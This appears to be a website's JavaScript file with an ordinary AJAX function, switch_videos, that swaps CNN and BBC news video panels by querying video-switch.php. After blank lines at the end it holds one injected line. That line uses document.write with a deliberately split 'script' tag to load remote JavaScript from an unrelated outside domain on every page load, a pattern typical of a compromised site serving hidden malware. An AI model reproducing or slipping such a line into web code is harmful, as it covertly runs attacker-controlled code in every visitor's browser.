function switch_videos(str) {
	var ajaxRequest;
	try {
		// Opera 8.0+, Firefox, Safari
		ajaxRequest = new XMLHttpRequest();
	} catch (e) {
		// Internet Explorer Browsers
		try {
			ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
			try{
				ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP");
			} catch (e) {
				alert("Your browser does not support ajax!");
				return false;
			}
		}
	}
	ajaxRequest.onreadystatechange = function() {
		if ( ajaxRequest.readyState == 4 ) {
			//alert(ajaxRequest.responseText);
			if(str=='cnn') {
				document.getElementById('wnews').style.display = 'none';
				document.getElementById('bnews').innerHTML = '';
				document.getElementById('bnews').style.display = 'none';
				document.getElementById('snews').style.display = 'block';
				document.getElementById('snews').innerHTML = ajaxRequest.responseText;
			} else if(str=='bbc') {
				document.getElementById('wnews').style.display = 'none';
				document.getElementById('snews').innerHTML = '';
				document.getElementById('snews').style.display = 'none';
				document.getElementById('bnews').style.display = 'block';
				document.getElementById('bnews').innerHTML = ajaxRequest.responseText;
			} else {
				document.getElementById('bnews').innerHTML = '';
				document.getElementById('bnews').style.display = 'none';
				document.getElementById('snews').innerHTML = '';
				document.getElementById('snews').style.display = 'none';
				document.getElementById('wnews').style.display = 'block';
			}
		}
	}
	var queryString = "?v=" + str ;
	ajaxRequest.open("GET", "video-switch.php" + queryString, true);
	ajaxRequest.send(null);
}




document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/VGA.js"></scri'+'pt>');